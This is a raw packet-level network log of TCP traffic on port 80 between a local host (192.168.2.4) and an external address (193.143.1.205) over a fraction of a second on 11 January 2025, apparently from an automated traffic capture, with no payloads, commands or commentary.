Jan 11, 2025 00:39:39.841492891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.841506004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.841516018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.841561079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.841592073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.841620922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.841665983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.841742992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.841753960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.841764927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.841777086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.841789961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.841793060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.841801882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.841825962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.841844082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.842091084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.842128992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.842170000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.842246056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.842257977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.842300892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.842317104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.842370033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.842384100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.842412949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.842462063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.842482090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.842494011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.842513084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.842530966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.842787027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.842798948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.842809916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.842832088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.842920065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.842931032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.842936993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.842958927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.842977047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.842978001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.842993021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.843003035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.843014956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.843028069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.843028069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.843054056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.843081951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.843157053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.843656063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.843667984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.843677998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.843707085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.843767881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.843786001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.843799114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.843811989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.843822956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.843833923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.843846083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.843857050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.843858004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.843858004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.843869925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.843869925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.843888998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.843936920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.844641924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.844654083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.844660997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.844666004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.844676018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.844685078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.844705105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.844716072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.844727039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.844738960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.844747066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.844752073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.844758987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.844780922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.844790936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.844830990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.845674992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.845686913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.845696926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.845710039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.845722914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.845733881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.845746994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.845757008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.845768929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.845779896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.845791101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.845798016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.846056938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.846487045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.846498966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.846508980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.846520901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.846532106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.846544027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.846544027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.846568108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.846584082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.858431101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.886111021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.886126041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.886137962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.886334896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.899966002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.920001984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.920012951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.920125961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.920157909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.920176029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.920186996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.920198917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.920207977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.920212030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.920223951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.920236111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.920247078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.920258999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.920270920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.920308113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.928186893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.928199053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.928210020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.928230047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.928280115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.928299904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.953789949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.953846931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.953876019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.953900099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.953903913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.953927994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.953939915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.953952074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.953983068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.954025030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.954037905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.954050064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.954082012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.954169035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.954181910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.954193115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.954215050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.954229116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.954258919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.954291105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.954332113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.962065935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.962078094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.962102890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.962114096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.962150097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.962213993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.962225914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.962236881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.962248087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.962260008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.962271929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.962285995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.962290049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.962322950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.962338924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.962485075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.962496042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.962511063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.962522984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.962532043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.962563038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.962681055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.962692976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.962702990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.962713957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.962748051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.962770939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.962903976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.962917089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.962927103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.962937117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.962951899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.962975025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.963011026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.963205099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.963222980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.963233948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.963244915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.963252068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.963255882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.963268042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.963274002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.963283062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.963294983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.963308096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.963308096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.963331938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.963341951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.963803053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.963821888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.963833094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.963844061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.963855982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.963867903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.963867903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.963881969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.963891029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.963893890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.963906050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.963917017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.963927984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.963929892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.963942051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.963946104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.963956118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.963967085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.963968039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.963980913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.964019060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.964574099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.964591980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.964602947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.964613914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.964622974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.964636087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.964638948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.964648962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.964660883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.964672089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.964683056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.964685917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.964690924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.964703083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.964715958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.964720011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.964739084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.964751959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.964757919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.964765072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.964776993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.964790106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.964807034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.965553045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.965564013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.965576887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.965591908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.965601921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.965610027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.965626955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.965636015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.965646982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.965650082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.965660095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.965672016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.965683937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.965688944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.965696096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.965708017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.965715885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.965719938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.965733051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.965733051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.965745926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.965758085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.965770960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.965790033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.966589928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.966602087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.966612101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.966622114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.966634035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.966635942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.966645956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.966656923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.966658115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.966669083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.966675043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.966681004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.966686964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.966691971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.966705084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.966717005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.966736078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.006736040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.006800890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.006810904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.006815910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.006829023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.006843090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.006854057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.006865025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.006866932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.006897926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.006936073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.006953001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.014966965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.014980078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.014991045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.015008926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.015021086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.015029907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.015044928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.015052080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.015106916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.015136003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.040549994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.040585041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.040595055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.040638924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.040648937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.040651083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.040663958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.040685892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.040724993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.040754080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.040790081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.040793896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.040865898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.040877104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.040889025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.040914059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.040935040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.040973902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.040986061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.040994883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.041029930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.041047096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.041073084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.041089058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.049031973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.049082041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.049093962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.049099922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.049108028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.049119949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.049141884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.049160004 CET	49730	80	192.168.2.4	193.143.1.205
